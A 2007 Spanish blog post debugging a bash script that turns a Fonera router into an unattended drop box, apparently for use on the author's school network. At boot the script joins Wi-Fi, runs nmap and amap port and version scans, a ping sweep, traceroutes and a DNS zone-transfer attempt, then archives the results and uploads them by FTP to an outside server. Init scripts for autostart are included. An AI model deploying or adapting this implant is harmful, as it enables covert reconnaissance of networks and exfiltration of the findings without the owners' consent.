jueves, septiembre 20, 2007

Error en la fonera

Ayer sometiendo a la fonera a una batería de pruebas detecte un par de errores, uno de ellos es que empieza antes de tiempo a ejecutarse, la comprobación que puse en el script no funcionaba como debía, porque a veces esa condición (estar asociado al access-point) se cumplía y todavía la fonera no tenía ip, por lo que los scaneos a f0 (el primero en ser scaneado) eran erróneos, ya que la conexión no era posible aún. Y como los sucesivos scaneos a f0 se basan en el primero (para ahorrar tiempo) todos los datos sobre f0 eran inválidos. Hablo de esto:

while [ -e $(iwconfig ath0 | grep Not_Associated)];
do main
exit;
done

El segundo problema era en el "scaneo de versiones" de nmap (nmap -sV) y es que yo mediante un bucle for intentaba pasarle solo los puertos que nmap detectó abiertos al principio, pero como ese mismo trozo de código se usa para el scaneo a c0, la variable que almacena los puertos a scanear está "contaminada" del scaneo anterior, por también hice que se limpiara la variable antes de usarla, pero lo puse en mal sitio, dentro del bucle for, entonces lo que hacia era acabar con un único puerto, el último. El código erróneo era este:

for i in $(grep ^[0-9] $FILE'.nmap' | cut -d"/" -f1);
do
PUERTOS=""
PUERTOS="$PUERTOS$i,";
done

La solución al segundo problema es obvia, simplemente poner la tercera línea antes del for. El otro error si me ha tenido mas atareado estuve ayer probando de todo y no funcionaba, aunque eso si al final lo he conseguido arreglar. La idea era que yo tenía era sencilla, en vez de comprobar con iwconfig que estaba asociado al AP, debía comprobar con ifconfig si ath0 tenía dirección ip. Como no sé que ip tendré no puedo basarme en un numero para hacer la comprobación, pero si hay otras cosas que me pueden valer. Antes de obtener ip por dhcp al ejecutar ifconfig ath0 devuelve algo parecido a esto:

ifconfig ath0
ath0 Link encap:Ethernet HWaddr 00:18:84:10:B5:9D
UP BROADCAST MULTICAST MTU:1500 Metric:1

RX packets:2 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:116 (116.0 B) TX bytes:0 (0.0 B)

En cambio cuando ya esta conectado con su ip devuelve esto otro:

ifconfig ath0
ath0 Link encap:Ethernet HWaddr 00:18:84:10:B5:9D
inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:15 errors:0 dropped:0 overruns:0 frame:0

TX packets:7 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:1531 (1.4 KiB) TX bytes:1651 (1.6 KiB)

Blogger como de costumbre deforma las cosas, se supone que al principio de cada linea hay unos espacios. También comprobé que por alguna extraña causa el supuesto bucle while no funcionaba como yo esperaba y a pesar de cambiar lo del iwconfig por lo de ifconfig no conseguí que funcionase bien. Me di cuenta de que necesitaba until en vez de while, pero tampoco me funcionaba. Pensé en hacer una función recursiva, que comprueba si tiene ip, si la tiene ejecuta main y si no la tiene se llama a si misma de nuevo y así hasta que tuviese ip y se ejecutara main. En algo fallaría porque tampoco conseguí llevarlo a la práctica.

Finalmente puse esto:

START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15)
while [ "1" == "1" ];
do
if [ $START == "inet" ];
then date >> /mnt/logs/date
main;
else
START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15);
fi;
done

Traducido: mientras 1 sea igual a 1 (siempre :P) comprueba si $START es igual a "inet", condición que solo se cumplirá si ath0 tiene ip, en caso afirmativo apunta la hora y luego ejecuta la función principal (main) y cuando ésta acabe se acaba el script (eso lo he añadido a la función main), si la igualdad no se cumpliera se reasignaría el valor de $START y se repetiría todo, así hasta que fuera afirmativo y se ejecutara main.

Con esos cambios el script queda así (también lo he puesto aquí):

#!/bin/bash
date > /mnt/logs/date
F0=192.168.0.1
C0=192.168.0.2
TARGET=$F0
FILE="/mnt/logs/f0"
START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15)

x0scan() {
PUERTOS=""
nmap -sT -n -p- -oA $FILE -P0 $TARGET
amap -A -bvq -i $FILE'.gnmap' -o $FILE".amap"
for i in $(grep ^[0-9] $FILE'.nmap' | cut -d"/" -f1);
do
PUERTOS="$PUERTOS$i,";
done
nmap -sV -n -P0 $TARGET -p $PUERTOS -oA $FILE'v'
TARGET=$C0
FILE="/mnt/logs/c0"
}

main() {
ifconfig -a > /mnt/logs/ifconfig
iwconfig > /mnt/logs/iwconfig

x0scan
x0scan

#routes and other scans
nmap -sL 192.168.0.1-255 -oA /mnt/logs/dnsscan
nmap -sP -PR 192.168.0.1-255 -oA /mnt/logs/arpping
nmap --iflist -oN /mnt/logs/nmaproute
traceroute f0 > /mnt/logs/trace
traceroute c0 >> /mnt/logs/trace
traceroute 64.233.183.104 >> /mnt/logs/trace

#dns zone transfer
host -l dominio.es 192.168.0.1 > /mnt/logs/dnstransfer
date >> /mnt/logs/date
tar -czvf /mnt/logs/logs.tar.gz /mnt/logs/*
wput /mnt/logs/logs.tar.gz ftp://user:pass@neobius.es
exit
}

while [ "1" == "1" ];
do
if [ $START == "inet" ];
then date >> /mnt/logs/date
main;
else
START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15);
fi;
done

Sin embargo todavía nos faltan un par de cosas por hacer que no hice cuando acabe el último post, tenemos que hacer que el script se ejecute al inicio, y como es lógico mejor si es después del wpa-supplicant. Este último ya lo configuramos, en mi caso use el archivo /etc/init.d/test. Tras hacer pruebas para que el script se ejecute al inicio me di cuenta de una cosa, todo lo que iba después del wpa supplicant no arrancaba, si ponía mi script tras él, no funcionaba. La solución fue sencilla, viendo el manual de wpa-supplicant vi una interesante opción:

-B = run daemon in the background

Correr el demonio en background! era justo lo que necesitaba, así que le añadí la opción al archivo de inicio y ya está:

#!/bin/sh /etc/rc.common
# Copyright (C) 2006 OpenWrt.org

START=50
start(){
wpa_supplicant -dd -D wext -c /etc/wpa_supplicant.conf -i ath0 -B

}


stop(){

killall test

}


Esta parte esta lista, ahora el script en si, yo lo he hecho a través del fichero /etc/init.d/script, con este contenido:

#!/bin/sh /etc/rc.common
# Copyright (C) 2006 OpenWrt.org

START=51
start(){
sh /mnt/backup/script.sh > /mnt/logs/dump

}

stop(){

killall script

}


Ejecuta el script después de haberse ejecutado wpa-supplicant y además guarda como log el resultado de la ejecución en /mnt/logs/dump, por si hubiera algún error al ejecutar un comando que no se guardara en los logs independientes que guardará cada uno de los comandos.

Además de eso he hecho dos cosas más deshabilitar del inicio automático cron y dnsmasq, cron simplemente porque no lo uso y dnsmasq porque si la pongo en modo cliente y dnsmasq está corriendo no me funciona el dns. Para ello simplemente hay que quitarle los permisos de ejecución:

chmod -x /etc/init.d/cron
chmod -x /etc/init.d/dnsmasq

Y por último he hecho otro cambio, la conexión ethernet la puesto con dhcp porque si la dejo estática crea una ruta fija y si luego se conecta por wifi y tiene otro rango de ip o simplemente el router tiene una dirección diferente de la especificada se producirá un conflicto de rutas y los paquetes no tendrán muy claro por donde ir, vamos que la conexión fallará casi seguro. Así he cambiado mi fichero /etc/config/network y lo he dejado así:

config interface loopback
option ifname lo
option proto static
option ipaddr 127.0.0.1
option netmask 255.0.0.0

config interface lan
option ifname eth0
option proto dhcp

config interface vlan1
option ifname ath0
option proto dhcp

Con todo esto ahora si puedo afirmar con seguridad: la fonera está lista. Ya lo he probado de todas las maneras posibles y ha funcionado así que el día que vaya al instituto no debería haber ningún problema, a no ser que falle la propia red del instituto.

PD: Hay algo que me hace sospechar que puede no funcionar del todo bien, la web de mi instituto da un 404 así que a lo mejor están haciendo cambios en el servidor, vamos a ver como sale el experimento...